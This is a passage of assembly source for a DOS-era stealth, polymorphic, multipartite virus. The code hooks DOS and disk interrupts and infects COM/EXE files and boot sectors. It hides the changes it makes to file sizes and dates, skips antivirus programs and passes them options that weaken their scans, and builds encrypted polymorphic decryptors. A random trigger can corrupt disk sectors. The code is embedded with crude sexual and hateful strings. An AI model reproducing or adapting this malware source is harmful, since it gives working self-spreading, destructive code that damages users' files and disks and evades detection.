; DS:SI=msg.
Display_Msg:
MOV AH, 0Eh
XOR BX, BX

Display_Char: CLD
LODSB ; Get next character.

OR AL, AL ; End of ASCIIZ ?
JZ Exit_Display

INT 10h ; Display character.

JMP Display_Char

Exit_Display:

RETN


; Calls the INT 13h address before we hooked it.
Int13h:
PUSHF
CALL DWORD PTR CS:i13h

RETN


; Calls the INT 21h address before we hooked it.
Int21h:
PUSHF
CALL DWORD PTR CS:i21h

RETN


Traced_Int13h:
PUSHF
CALL DWORD PTR CS:Traced_i13h

RETN


Go_BOF:
MOV AX, 4200h
JMP Set_Pos
Go_EOF:
MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD

Traced_Int21h: PUSHF
CALL DWORD PTR CS:Traced_i21h

RETN

Save_File_Pos:
MOV AX, 4201h ; Get current fileposition.
XOR CX, CX
CWD
CALL Traced_Int21h

MOV CS:Old_Pos_Low, AX ; Save it.
MOV CS:Old_Pos_High, DX

RETN


Restore_File_Pos:

MOV AX, 4200h ; Set fileposition.
MOV CX, 0000h
Old_Pos_High = WORD PTR $-2
MOV DX, 0000h
Old_Pos_Low = WORD PTR $-2
JMP Traced_Int21h


JMP_St_FCB: JMP Stealth_Size_FCB

; As quoted from Morbid Angel...

DB 'DEAD, YOUR GOD IS DEAD! SATAN WILL RISE!'


;============================================================================
; INT 21h HANDLER
;============================================================================
NewInt21h:
CMP AH, 11h ; Findfirst (FCB).
JE JMP_St_FCB

CMP AH, 12h ; Findnext (FCB).
JE JMP_St_FCB

CMP AH, 4Eh ; Findfirst (handle).
JE Dir_Fetch_Path

CMP AH, 4Fh ; Findnext (handle).
JE Dir_Infect

CMP AH, 3Fh ; Read file (handle).
JE Stealth_Read

CMP AH, 40h ; Write file (handle).
JE Clean_By_Handle

CMP AX, 4202h ; Seek EOF (handle).
JE Stealth_Seek

CMP AX, 5700h ; Get filedate & time.
JE Stealth_Filedate

CMP AH, 3Dh ; Open file (handle).
JE Check_Inf_File

CMP AX, 6C00h ; Extended open.
JE Check_Inf_File

CMP AH, 41h ; Delete file.
JE Check_Inf_File

CMP AH, 43h ; Get/set file-attributes.
JE Check_Inf_File

CMP AX, 4B00h ; Execute file.
JE Init_Exec

CMP AX, 4B01h ; Load file (debuggers).
JE Clean_By_File

CMP AX, Res_Check_i21h ; Residency-check.
JE Ret_Mark_i21h

JMP_Int21h: JMP DWORD PTR CS:i21h ; JMP to old INT 21h address.



Dir_Fetch_Path:
CALL Push_All

PUSH CS
POP ES

MOV SI, DX
MOV DI, OFFSET Dir_Path

CLD

Get_Char_Path: LODSB
STOSB

OR AL, AL ; End of ASCIIZ-path reached?
JNZ Get_Char_Path

DEC DI

MOV AL, '\' ; Find start filespec/name.
STD
REPNE SCASB

INC DI ; Offset after '\'.
INC DI

MOV CS:End_Dir_Path, DI ; Save offset filename.

CALL Pop_All

Dir_Infect: CALL Int21h ; Execute function.

CALL Push_All
JC Exit_Dir_Infect

CALL Check_Stealth
JE Exit_Dir_Infect

MOV AH, 2Fh ; Get DTA-address.
CALL Traced_Int21h

CMP BYTE PTR ES:[BX.Handle_Date+1], Infected_Date
JB Do_Dir_Infect

SUB BYTE PTR ES:[BX.Handle_Date+1], Century

SUB WORD PTR ES:[BX.Handle_Size], Netto_Size
SBB WORD PTR ES:[BX.Handle_Size+2], 0

Do_Dir_Infect: IN AX, 40h ; Get random # in AL.
XOR AL, AH

CMP AL, 30 ; Should we infect on dir?
JA Exit_Dir_Infect

PUSH ES
POP DS

LEA SI, [BX+1Eh] ; DS:SI = filename in DTA.
MOV DI, 0000h
End_Dir_Path = WORD PTR $-2

PUSH CS
POP ES

CLD

Format_String: LODSB ; Load character.

OR AL, AL ; End of ASCIIZ-filename?
JZ End_Found_ff

CMP AL, ' ' ; Skip spaces.
JE Skip_Char

STOSB ; Store character buffer.

Skip_Char: JMP Format_String

End_Found_ff: STOSB ; Store zero.

PUSH CS
POP DS

MOV AX, 4300h ; Get attributes via our
MOV DX, OFFSET Dir_Path ; hooked INT, so our virus
INT 21h ; will infect the file.

Exit_Dir_Infect:
CALL Pop_All

RETF 2 ; Return to caller.


Stealth_Size_FCB:

CALL Int21h ; Do find.

CALL Push_All

OR AL, AL ; Error?
JNZ Exit_Stealth_F

CALL Check_Stealth
JE Exit_Stealth_F

MOV AH, 2Fh ; Get DTA-address.
CALL Traced_Int21h

CMP BYTE PTR ES:[BX], 0FFh ; Is it an extended FCB ?
JNE No_Ext_FCB

ADD BX, 7 ; Skip extended FCB-block.

No_Ext_FCB: CMP BYTE PTR ES:[BX.FCB_Date+1], Infected_Date
JB Exit_Stealth_F

SUB BYTE PTR ES:[BX.FCB_Date+1], Century

SUB WORD PTR ES:[BX.FCB_Size], Netto_Size
SBB WORD PTR ES:[BX.FCB_Size+2], 0

Exit_Stealth_F: JMP Exit_Dir_Infect


DB 'Legalize arms!'


Init_Exec:
CALL Add_Params

Check_Inf_File: CALL Push_All
CALL Hook_Int24h

CMP AX, 6C00h ; Extended open?
JNE No_Ext_Open

MOV DX, SI ; Then correct parameter.

No_Ext_Open: CALL Check_Filename
JC JMP_Exit_Inf

PUSH DX

MOV AH, 19h ; Get current drive.
CALL Traced_Int21h

XCHG DX, AX
INC DX ; AH=36h starts with A=1 etc.

MOV AH, 36h ; Get free diskspace.
CALL Traced_Int21h

MUL BX ; Get amount of free sectors.

OR DX, DX ; File > 64k ?

POP DX

JNZ Conditions_OK

CMP AX, 64 ; At least 64 sectors free?
JNB Conditions_OK

JMP_Exit_Inf: JMP Exit_Infect

Conditions_OK: MOV AX, 3D02h ; Open candidate file.
CALL Traced_Int21h
JC JMP_Exit_Inf

XCHG BX, AX ; BX = filehandle.

CALL Check_Handle
JNZ Abort_Check

PUSH CS
POP DS

PUSH CS
POP ES

CALL Read_Header

CMP [SI.Checksum], Marker_File
JE Abort_Check

XOR BP, BP

CMP [SI.EXE_Mark], 'ZM' ; Host is a .EXE-file?
JNE No_Init_EXE

INC BP ; Host is .EXE-type.

; Don't infect any Windoze files.

CMP [SI.Offs_RelocTable], 40h
JNB Abort_Check

No_Init_EXE: CALL Go_EOF

OR DX, DX ; File bigger then 64k ?
JNZ Infect_File

CMP AX, 60 ; File too small?
JB Abort_Check

CMP AX, (65535 - (Netto_Size + 1024))
JA Abort_Check

CALL Check_File_Date
JB Infect_File

Abort_Check: JMP Inf_Close_File

Infect_File: PUSH CX ; Save filedate & time.
PUSH DX

PUSH SI

MOV DI, OFFSET Host_Bytes ; Save host' original header.
MOV CX, (24 / 2)
CLD
REP MOVSW

POP SI

CALL Go_EOF

DEC BP ; Host is a .EXE-file?
JZ Infect_EXE

Infect_COM: ADD AX, (OFFSET Virus_End - 3)

MOV [SI.Jump], 0E9h ; JMP opcode.
MOV [SI.Displacement], AX

SUB AX, (OFFSET Virus_End - 3) - 100h
XCHG BP, AX

JMP Set_Header

Infect_EXE: MOV CX, 16 ; Calculate virus' new CS:IP.
DIV CX

SUB AX, [SI.Headersize_Para]

MOV BP, DX

ADD DX, OFFSET Virus_End

MOV [SI.Program_CS], AX
MOV [SI.Program_IP], DX

INC AX ; SS > CS.

MOV [SI.Program_SS], AX
MOV [SI.Program_SP], (Virus_Size_Mem * 16) - 16

ADD [SI.Min_Mem_Para], Virus_Size_Mem + 2

CALL Go_EOF

ADD AX, Netto_Size
ADC DX, CX

MOV CX, 512 ; Calculate 512-byte pages.
DIV CX

OR DX, DX ; Precise division?
JZ No_Round

INC AX ; Else round upwards.

No_Round: MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX

Set_Header: MOV [SI.Checksum], Marker_File

CALL Adjust_Poly_Decryptor

MOV AH, 40h ; Append polymorphic
MOV CX, Netto_Size ; encrypted virus.
MOV DX, OFFSET Buffer
CALL Traced_Int21h

CALL Go_BOF

MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, SI
CALL Traced_Int21h

MOV AX, 5701h ; Restore filedate & time.
POP DX
POP CX
ADD DH, Century ; Set infected date.
CALL Traced_Int21h

Inf_Close_File: MOV AH, 3Eh ; Close file.
CALL Traced_Int21h

Exit_Infect: CALL Unhook_Int24h
CALL Pop_All

JMP JMP_Int21h


DB 'Germany-1998'


Check_Trigger:
CALL Push_All

PUSH AX

IN AX, 40h
XCHG BX, AX
IN AX, 40h
XOR AX, BX
RCL AX, 1

CMP AX, 30

POP AX

JA Exit_Trigger

PUSH CS
POP ES

MOV AH, 03h
XOR BX, BX

IF Pussy_Mode EQ No_way_lets_kick_ass
CALL Traced_Int13h
ENDIF


Exit_Trigger: CALL Pop_All

RETN


DB 'Filled of hate, determined to kill'


Ret_Mark_i13h:
CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK
JE Caller_i13h_OK

JMP Activate

Caller_i13h_OK: MOV AX, Marker_i13h

IRET


Stealth_Home:
CMP DL, 80h ; Only on harddisks.
JB JMP_i13h

CALL Push_All

CMP AH, 03h ; Write(s) ?
JNE Read_ZeroTrack

MOV AH, 0Dh ; Reset harddisk.
CALL Traced_Int13h

OR AH, 00000011b ; Fake write protected.
STC

JMP Save_Values

Read_ZeroTrack: MOV SI, AX ; Save # sectors read/write.

CALL Int13h ; Do the read.

Save_Values: MOV BP, SP

PUSHF
POP [BP.Reg_Flags]

MOV [BP.Reg_AX], AX

JC Exit_Stealth_Home

XCHG AX, SI
CBW

MOV CL, 8 ; MUL 256.
SHL AX, CL

XCHG CX, AX
XOR AX, AX
MOV DI, BX
CLD ; Fill sectorbuffer.
REP STOSW

Exit_Stealth_Home:

CALL Pop_All

RETF 2


;============================================================================
; INT 13h HANDLER
;============================================================================
NewInt13h:
CMP AX, Res_Check_i13h ; INT 13h residency-check?
JE Ret_Mark_i13h

CMP AH, 02h ; Read sector(s) ?
JB JMP_i13h

CMP AH, 03h ; Write sector(s) ?
JA JMP_i13h

JMP No_i21h_Check
JMP_Databyte = BYTE PTR $-1

CALL Check_Int21h

No_i21h_Check: CALL Check_Trigger ; Corrupt sector(s) ?

OR DH, DH ; Head zero?
JNZ JMP_i13h

OR CH, CH ; Track zero?
JNZ JMP_i13h

CMP CL, 01h ; Bootsector/MBS ?
JNE Stealth_Home

MOV CS:Int13h_AH, AH ; Save function.

CALL Int13h ; Execute function.
JC Do_RETF2

CALL Check_Inf_Boot

Do_RETF2: RETF 2 ; Return to our caller.
JMP_i13h: JMP DWORD PTR CS:i13h

DB '1H8U'

Check_Inf_Boot:
CALL Push_All

PUSH ES
POP DS

CMP DS:[BX.Sign_Boot], Mark_Boot ; Already infected?
JNE

  
Init_Infect_Boot

MOV AX, 0201h ; Read original encrypted
MOV CX, DS:[BX.Stored_TS] ; boot.
MOV DX, DS:[BX.Stored_HD]
PUSH DS:[BX.Key_Stored_Boot]
CALL Traced_Int13h

POP AX ; Decrypt boot.
MOV CX, (512 / 2)
CALL Word_Crypt

JMP Exit_Inf_Boot

Init_Infect_Boot:

CMP DL, 80h ; Fixed disk?
JB Calc_Storage

MOV CL, 09h

JMP Infect_Boot

; Calculate track where we store ourself.
Calc_Storage:

PUSH DX

MOV AX, DS:[BX.bs_Num_Sectors]
XOR DX, DX
MOV CX, DS:[BX.bs_Sector_Track]
DIV CX

MOV CX, DS:[BX.bs_Number_Heads]
PUSH CX
DIV CX

DEC AX ; CH = new track.
MOV CH, AL
MOV CL, 02h ; Starting sector 2.

POP AX
DEC AX

POP DX

MOV DH, AL

Infect_Boot: MOV CS:Stored_TS, CX
MOV CS:Stored_HD, DX

PUSH CX

PUSH CS
POP ES

MOV SI, BX ; Copy read bootsector to
MOV DI, OFFSET Buffer ; our buffer.
MOV CX, (512 / 2)
CLD
REP MOVSW

PUSH CS
POP DS

CMP Int13h_AH, 03h ; No check on writes.
JE Error_Read_ID

IF Pussy_Mode EQ Yes_dont_hurt_me
JMP Error_Read_ID
ENDIF
MOV AX, 0201h ; Read ID-sector.
MOV BX, OFFSET Buffer + 512
POP CX
PUSH CX
DEC CX
CALL Traced_Int13h
JC Error_Read_ID

MOV AX, [BX+2] ; AX = encrypted signature.
XOR AX, [BX] ; Decrypt signature.

CMP AX, Mark_ID_Sector ; This our marker?
JNE Write_Read_ID

JMP Activate

Write_Read_ID: IN AX, 40h ; Get encryption-key.
MOV [BX], AX ; Store it.

XOR AX, Mark_ID_Sector ; Encrypt mark.
MOV [BX+2], AX ; Store encrypted mark.

MOV AX, 0301h ; Write ID-sector.
CALL Traced_Int13h

Error_Read_ID:

Get_New_Rand1: IN AX, 40h ; Get random encryption-key.

OR AX, AX ; Avoid zero-encryption.
JZ Get_New_Rand1

MOV Key_Stored_Boot, AX

CALL Crypt_Boot ; Encrypt boot in buffer.

MOV SI, 512 ; Copy body to buffer for
MOV DI, OFFSET Buffer + 512 ; encryption.
MOV CX, (Body_Sectors * 512) / 2
CLD
REP MOVSW

Get_New_Rand2: IN AX, 40h ; Get semi-random key.

OR AX, AX ; Avoid zero-encryption.
JZ Get_New_Rand2

MOV Key_Virus_Body, AX

MOV BX, OFFSET Buffer + 512 ; Encrypt virusbody.
MOV CX, (Body_Sectors * 512) / 2
CALL Word_Crypt

POP CX

MOV AX, 0301h+Body_Sectors ; Store original boot plus
MOV BX, OFFSET Buffer ; virusbody.
PUSH BX
CALL Traced_Int13h

CALL Crypt_Boot ; Decrypt boot.

Get_New_Rand3: IN AL, 40h ; Get random.

OR AL, AL
JZ Get_New_Rand3

MOV Key_Virus_Boot, AL

MOV SI, 62 ; Copy virus into boot.
MOV DI, OFFSET Buffer + 62
MOV CX, (512 - 64) / 2
CLD
REP MOVSW

ADD BX, OFFSET Encrypted_Boot
MOV CX, Encr_Loadersize

Encrypt_Byte: XOR [BX], AL
INC BX
LOOP Encrypt_Byte

POP BX ; BX=OFFSET Buffer.
MOV [BX], 3CEBh ; JMP SHORT virus.

MOV AX, 0301h ; Write new infected boot.
INC CX ; CX=0001h.
XOR DH, DH
CALL Traced_Int13h

Exit_Inf_Boot: CALL Pop_All

RETN

Check_Stealth:
CALL Push_All

PUSH CS
POP DS

MOV BP, SP
MOV SI, [BP.Reg_Ret_Addr] ; SI = return-address.

CMP BYTE PTR [SI], 0CCh ; Being debugged?
JNE No_Breakpoint

MOV [BP.Reg_Ret_Addr], OFFSET Activate

No_Breakpoint: MOV AH, 62h ; Get PSP of current process.
CALL Traced_Int21h

DEC BX ; Get MCB.

MOV ES, BX ; ES:DI = Programname.
MOV DI, 08h

MOV SI, OFFSET Tabel_Inactive

Compare: CLD
LODSB
CBW

OR AX, AX ; End of table?
JZ End_Reached

PUSH DI

MOV BP, AX

PUSH SI

XCHG CX, AX
REPE CMPSB

POP SI
ADD SI, BP

POP DI

OR CX, CX
JNZ Compare

End_Reached: OR CX, CX

MOV BP, SP

PUSHF
POP [BP.Reg_Flags]

CALL Pop_All

RETN


Tabel_Inactive DB 6, 'CHKDSK'
DB 5, 'PKZIP'
DB 3, 'ARJ'
DB 3, 'LHA'
DB 3, 'RAR'
DB 6, 'BACKUP'
DB 5, 'MODEM'
DB 5, 'TELIX'
DB 0


Crypt_Boot:
MOV AX, Key_Stored_Boot
MOV BX, OFFSET Buffer
MOV CX, (512 / 2)
CALL Word_Crypt

RETN



; Dedicated to the two founders of Apple, Steve Wozniak & Steve Jobs,
; these ppl actually WORKED for their products, instead of those Microfuck
; lamers which only became so "successful" coz they had the big bucks.

DB 'Respect2AppleSteves'

Hook_Int21h:
CALL Push_All

PUSH CS
POP DS

MOV JMP_Databyte, (No_i21h_Check - JMP_Databyte) - 1

XOR DI, DI

CLD

IN AX, 40h ; Overwrite JMP boot with
STOSW ; garbage (no signatures).

IN AL, 40h
STOSB

MOV Random, AX ; Initialize random seed.

CALL Setup_Poly_Decryptor

MOV AX, 21h * 4 ; Tunnel INT 21h.
CALL Trace_Interrupt

MOV AX, 2521h ; Hook INT 21h.
MOV DX, OFFSET NewInt21h
CALL Traced_Int21h

CALL Pop_All

RETN

Hook_Int24h:
CALL Push_All

PUSH CS
POP DS

MOV AX, 3524h
CALL Traced_Int21h

MOV i24h, BX
MOV i24h+2, ES

MOV AH, 25h
MOV DX, OFFSET NewInt24h
CALL Traced_Int21h

CALL Pop_All

RETN


Unhook_Int24h:
CALL Push_All

MOV AX, 2524h
LDS DX, DWORD PTR CS:i24h
CALL Traced_Int21h

CALL Pop_All

RETN

;-----------------------------------------------------------------------
; Compares if specific programs are going to be executed, and if so, it
; adds specific parameters. Note that this routine is table-driven.
;-----------------------------------------------------------------------
Add_Params:
CALL Push_All

PUSH ES

PUSH DS
POP ES

PUSH CS
POP DS

XOR AL, AL ; Find end ASCIIZ-string.
MOV CX, 0FFFFh
PUSH CX
MOV DI, DX
CLD
REPNZ SCASB

DEC DI

MOV AL, '\' ; Find start filename.
POP CX ; CX=0FFFFh.
STD
REPNE SCASB

INC DI
INC DI

MOV SI, OFFSET Tbl_Add_Params
CLD

Compare_Name: LODSB ; AX = length filename.
CBW

OR AX, AX ; End of table?
JZ End_Of_Table

XCHG DX, AX ; DX = length filename.

MOV BP, DX

LODSB ; AX = length parameters.
CBW

PUSH DI

PUSH SI
PUSH AX

Scan_Byte: LODSB
MOV AH, ES:[DI]

CMP AH, 'a' ; Convert this shit to
JB No_Change_Case ; uppercase.

CMP AH, 'z'
JA No_Change_Case

SUB AH, 'a' - 'A'

No_Change_Case: CMP AL, AH
JNE Stop_Compare

INC DI

DEC BP
JNZ Scan_Byte

Stop_Compare: POP AX
POP SI

ADD SI, DX ; Plus length filename.
ADD SI, AX ; Plus length params.

POP DI

OR BP, BP
JNZ Compare_Name

End_Of_Table: POP ES

OR AX, AX
JZ Exit

OR BP, BP
JNZ Exit

MOV CX, AX
SUB SI, AX

LES DI, ES:[BX+2] ; ES:DI = end of params.

XOR BX, BX ; BX = length params.
MOV BL, ES:[DI]

INC AX ; Inclusive space.

ADD ES:[DI], AL

INC DI ; Skip counter.

ADD DI, BX

MOV AL, 20h ; Store a space.
CLD
STOSB

CLD ; Store the parameter(s).
REP MOVSB

MOV AL, 0Dh ; Store <CR>.
CLD
STOSB

Exit: CALL Pop_All

RETN


Tbl_Add_Params: DB 10, 11, 'F-PROT.EXE', '/nomem /old'
DB 10, 09, 'TBSCAN.EXE', 'nm co old'
DB 08, 16, 'SCAN.EXE', '/nomem /noexpire'
DB 07, 04, 'WIN.COM', '/d:f'
DB 10, 07, 'PRINCE.EXE', 'megahit' ; hehe...
DB 0


NewInt24h:
MOV AL, 03h
IRET

Sign_Legal_Call DW Marker_Call_OK

DB 'I fucked your girlfriend last night. While you '
DB 'snored and drooled I fucked your love. She called '
DB 'me daddy, and I called her baby when I smacked her '
DB 'ass. I called her sugar when I ate her alive till '
DB 'daylight. And I slept with her all over me, from '
DB 'forehead to ribcage I dripped her ass...', 0

DB '! PANTERA RULES !'



;-------------------------------------------------------
; Returns CF set if the filename in DS:DX is illegal,
; like a non .COM or .EXE-file, or a antivirus-program.
;-------------------------------------------------------
Check_Filename:
CALL Push_All

PUSH DS
POP ES

XOR AL, AL ; Find end of ASCIIZ-string.
MOV CX, 0FFFFh
MOV DI, DX
CLD
REPNZ SCASB

Check_Word: MOV AX, [DI-4]
AND AX, 1101111111011111b ; To uppercase.

CMP AX, 'OC' ; .CO? ?
JE Check_Byte

CMP AX, 'XE' ; .EX? ?
JNE Carry_Exit

Check_Byte: MOV AL, [DI-2]
AND AL, 11011111b

CMP AL, 'M' ; ??M ?
JE Extension_OK

CMP AL, 'E' ; ??E ?
JNE Carry_Exit

Extension_OK: DEC DI
MOV AL, '\' ; Find start filename.
MOV CX, 0FFFFh
STD
REPNE SCASB

MOV BP, OFFSET No_Inf_Table

CLD

Next_Entry_AV: MOV SI, DI

MOV DX, CS:[BP]

XOR DX, 8Ah ; Decrypt word.
JZ No_Carry_Exit ; End of table?

INC BP ; Next entry.
INC BP

Scan_Filename: LODSW ; Get word filename.

CMP AL, '.' ; End reached?
JE Next_Entry_AV

CMP AX, DX ; Found an illegal word?
JE Carry_Exit

DEC SI ; Byte-scan.

JMP Scan_Filename

No_Carry_Exit: CLC

JMP Set_Flags

Carry_Exit: STC

Set_Flags: MOV BP, SP

PUSHF ; Set flags in stack.
POP [BP.Reg_Flags]

CALL Pop_All

RETN


;-------------------------------------------------------------
; Table of encrypted words, if one of these words is found in
; a candidate filename (any position), infection is rejected.
;-------------------------------------------------------------
No_Inf_Table DW 'BT' XOR 8Ah ; ThunderByte utilities.
DW '-F' XOR 8Ah ; F-Prot.
DW 'CS' XOR 8Ah ; SCAN
DW 'IV' XOR 8Ah ; VIRSCAN, VIRUSCAN
DW 'VA' XOR 8Ah ; NAV, AVP, MSAV, CPAV
DW 'VI' XOR 8Ah ; Invircible.
DW 'RD' XOR 8Ah ; DrWeb
DW 000h XOR 8Ah ; End of table.


Get_Random2:
MOV AX, 2
JMP Get_Random

Get_Random3:
MOV AX, 3
JMP Get_Random

Get_Random4:
MOV AX, 4
JMP Get_Random

Get_Random7: MOV AX, 7

;---------------------------------------------------------------
; Generates random within range of AX starting with zero. This
; is a optimized/modified version of the one included in N.E.D.
;---------------------------------------------------------------
Get_Random:
PUSH CX
PUSH DX

PUSH AX

RCL CS:Random, 1 ; Adjust seed for randomness.
ADD CS:Random, 666h ; Adjust it again.

XOR AH, AH ; BIOS get timer function.
INT 1Ah

XOR CS:Random, DX ; XOR seed by BIOS timer
CWD ; Clear DX for division...

MOV AX, 0000h ; Return number in AX.
Random = WORD PTR $-2 ; Seed for generator.
POP CX ; CX holds max value
DIV CX ; DX = AX % max_val

XCHG AX, DX ; AX holds final value

POP DX
POP CX

OR AX, AX ; AX is zero?

CLD ; Could be changed by INT.

RETN ; Return to caller



; School, State, Parents, Cops, etc, etc.

DB 'Self proclaimed gods'



;============================================================================
; POLYMORPHIC ENGINE
;============================================================================


Max_CALL_Entry EQU 10 ; Number of entries in subroutine table.
Max_Decryptor EQU 128 ; Maximal size of poly-decryptor in bytes.
Min_Layers EQU 4
Max_Layers EQU 10
Min_CALL EQU 3
Min_Decryptor EQU 96 ; Minimal size of poly-decryptor in bytes.


; Encryption algoritms: 0 = ADD
; 1 = SUB
; 2 = XOR
; 3 = INC
; 4 = DEC
; 5 = NOT
; 6 = NEG
; 7 = ROL
; 8 = ROR



DB '[SFW]' ; So Fucking What?!


Adjust_Poly_Decryptor:

CALL Push_All

XOR SI, SI ; Copy virus to buffer for
MOV DI, OFFSET Buffer ; encryptions.
MOV CX, Virus_Size
CLD
REP MOVSB

MOV AL, Key_Fix_Layer
MOV CX, (OFFSET Decrypt_2 - (3 + 24))
MOV DI, OFFSET Buffer + (3 + 24)

Encr_Internal: XOR [DI], AL ; Encrypt internal fixed
INC DI ; layer.
LOOP Encr_Internal

; ENCRYPT POLY LAYERS.

MOV CX, 0000h
Max_Algo = WORD PTR $-2

Encrypt_Layer: PUSH CX

MOV AX, CX
DEC AX
MOV BX, OFFSET Encrypt_Algo
XLAT

MOV SI, OFFSET Tbl_Encryptors
ADD SI, AX
ADD SI, AX

XCHG DX, AX

LODSW
MOV Encryptor, AX

MOV BX, OFFSET Decrypt_Key
MOV AX, CX
DEC AX
XLAT

CMP DL, 3 ; Algorithm requires a key?
JB Store_Encr_Key

MOV AL, 90h ; NOP

Store_Encr_Key: MOV Key_Poly_Layer, AL

JMP $+2 ; Clear prefetcher, else this
; shit doesn't work on 486's.

MOV CX, (Virus_Size - (3 + 24))
MOV DI, OFFSET Buffer + (3 + 24)

Encr_Poly: XOR BYTE PTR [DI], 00h ; Encrypt code.
Key_Poly_Layer = BYTE PTR $-1
Encryptor = WORD PTR $-3
INC DI
LOOP Encr_Poly

POP CX

LOOP Encrypt_Layer


MOV SI, OFFSET Decrypt_Delta
MOV CX, Max_Algo

Patch_Delta: LODSW
XCHG DI, AX

MOV AX, BP ; Start encrypted.
SUB AX, 0000h
Base_Ptr_Val = WORD PTR $-2

TEST Poly_Status, 00000001b ; Get direction.
JNZ Back_Decrypt

Fore_Decrypt: ADD AX, (3 + 24)

JMP Store_Decrypt

Back_Decrypt: ADD AX, Virus_Size - 1

Store_Decrypt: STOSW

LOOP Patch_Delta


MOV DI, 0000h
CMP_Val = WORD PTR $-2

MOV AX, Base_Ptr_Val

TEST Poly_Status, 00000001b ; Get direction.
JNZ Back_CMP

ADD AX, Virus_Size - (3 + 24)

JMP aa2

Back_CMP: SUB AX, (Virus_Size - (3 + 24)) - 1

aa2: STOSW

; Add polymorphic decryptor.

MOV CX, (Max_Decryptor / 2)
MOV SI, OFFSET Poly_Decryptor
MOV DI, OFFSET Buffer + Virus_Size
CLD
REP MOVSW

CALL Pop_All

RETN


; Initializes variables for poly engine and generates a polymorphic decryptor
; in memory.
Setup_Poly_Decryptor:

CALL Push_All

MOV Old_SS, SS
MOV Old_SP, SP

PUSH CS
POP SS

MOV SP, (Virus_Size_Mem * 16)

AND Max_Algo, 0

MOV AX, (Max_Layers - Min_Layers)
CALL Get_Random

ADD AX, Min_Layers ; Minimal # encrypted layers.
XCHG CX, AX

MOV DI, OFFSET Encrypt_Algo

Pick_Algo: MOV AX, 9 ; ADD/SUB/XOR/INC/DEC/
CALL Get_Random ; NOT/NEG/ROL/ROR ?

STOSB

MOV BX, Max_Algo

IN AL, 40h
MOV Decrypt_Key[BX], AL

INC Max_Algo

LOOP Pick_Algo

; Choose pointer-register.

CALL Get_Random4 ; BX/SI/DI/BP ?
MOV Ptr_Reg, AL

IN AL, 40h ; Get random key for internal
MOV Key_Fix_Layer, AL ; fixed decryptor.

CALL Get_Random2 ; Pick decryption direction.
MOV Poly_Status, AX

Poly_Generator: XOR AX, AX ; Clear CALL-IP buffer.
MOV CX, Max_CALL_Entry
MOV DI, OFFSET Tbl_CALL_Dest
CLD
REP STOSW

AND CALLs_Made, 0

MOV DI, OFFSET Poly_Decryptor
MOV BP, 0000h
Poly_Status = WORD PTR $-2

CALL Add_Garbage

;-------------- SETUP BASE POINTER ------------------------------------------

MOV AL, 00h
Ptr_Reg = BYTE PTR $-1
MOV BX, OFFSET MOV_Reg16

XLAT ; MOV Ptr_Reg,
STOSB

IN AX, 40h ; Random value.
MOV Base_Ptr_Val, AX ; Save base value.
STOSW

CALL Add_Garbage

;-------------- DECRYPT BYTE ------------------------------------------------

MOV Decr_Loop, DI

MOV CX, Max_Algo
XOR DX, DX
MOV SI, OFFSET Encrypt_Algo

Make_Decryptor: PUSH CX

MOV AL, 2Eh ; CS:
STOSB

LODSB

XOR AH, AH
PUSH AX

PUSH SI

XCHG SI, AX
ADD SI, OFFSET Tbl_Decr_Opcode

LODSB
STOSB

POP SI

POP AX
PUSH AX

MOV BX, OFFSET Tbl_Crypt_Index
XLAT

CBW
SHL AX, 2 ; MUL 4

MOV BX, OFFSET Ptr_Addr
ADD BX, AX
MOV AL, Ptr_Reg

XLAT
STOSB

MOV BX, OFFSET Decrypt_Delta
ADD BX, DX

MOV [BX], DI

STOSW ; Dummy displacement.

POP AX

CMP AL, 2
JA No_Key_Needed_Decr

MOV AL, [SI+Max_Layers-1] ; Store decryption-key.
STOSB ; (OFFSET Decrypt_Key+index).

No_Key_Needed_Decr:

PUSH DX
PUSH SI

CALL Add_Garbage

POP SI
POP DX

POP CX

INC DX
INC DX

LOOP Make_Decryptor



;-------------- CHANGE POINTER REGISTER -------------------------------------

INC CX ; CX=0001h.

TEST Poly_Status, 00000001b ; Get direction.
JNZ Backwards_Decrease

MOV AX, 5
CALL Get_Random ; INC/ADD_8/ADD_16/
JZ ADD_Ptr_8 ; +SUB_8/+SUB_16 ?

DEC AX
JZ ADD_Ptr_16

DEC CX ; CX=FFFFh.
DEC CX

DEC AX
JZ pSUB_Ptr_8

DEC AX
JZ pSUB_Ptr_16

CALL Make_INC_Reg16
JMP Make_CMP_Boundary

ADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=01h)
JMP Make_CMP_Boundary

ADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=0001h)
JMP Make_CMP_Boundary

pSUB_Ptr_8: CALL Make_SUB_8_Reg16 ; (CL=FFh).
JMP Make_CMP_Boundary

pSUB_Ptr_16: CALL Make_SUB_16_Reg16 ; (CX=FFFFh).
JMP Make_CMP_Boundary


Backwards_Decrease:

MOV AX, 5
CALL Get_Random ; DEC/SUB_8/SUB_16 ?
JZ SUB_Ptr_8 ; -ADD_8/-ADD_16 ?

DEC AX
JZ SUB_Ptr_16

DEC CX ; CX=FFFFh.
DEC CX

DEC AX
JZ nADD_Ptr_8

DEC AX
JZ nADD_Ptr_16

CALL Make_DEC_Reg16
JMP Make_CMP_Boundary

SUB_Ptr_8: CALL Make_SUB_8_Reg16
JMP Make_CMP_Boundary

SUB_Ptr_16: CALL Make_SUB_16_Reg16
JMP Make_CMP_Boundary

nADD_Ptr_8: CALL Make_ADD_8_Reg16 ; (CL=FFh).
JMP Make_CMP_Boundary

nADD_Ptr_16: CALL Make_ADD_16_Reg16 ; (CX=FFFFh).


;-------------- CHECK BOUNDARY ----------------------------------------------

Make_CMP_Boundary:

CALL Add_Garbage

MOV AL, 81h ; CMP Ptr_Reg,
STOSB

MOV AL, Ptr_Reg
MOV BX, OFFSET CMP_Reg16

XLAT
STOSB

MOV CMP_Val, DI

STOSW

;-------------- JMP ENTRY IF DECRYPTION COMPLETED ---------------------------

MOV AX, DI ; JE jmp_layer_2
SUB AX, OFFSET Poly_Decryptor - 4
NEG AX
MOV AH, AL
MOV AL, 74h
STOSW

CALL Add_Garbage


;-------------- JMP DECRYPTION LOOP -----------------------------------------

MOV AL, 0EBh ; JMP SHORT,
STOSB

MOV AX, DI ; JMP decrypt.
SUB AX, 0000h
Decr_Loop = WORD PTR $-2
NEG AX
DEC AX
STOSB

CALL Add_Garbage

CMP CALLs_Made, Min_CALL ; Encoded enough CALLs ?
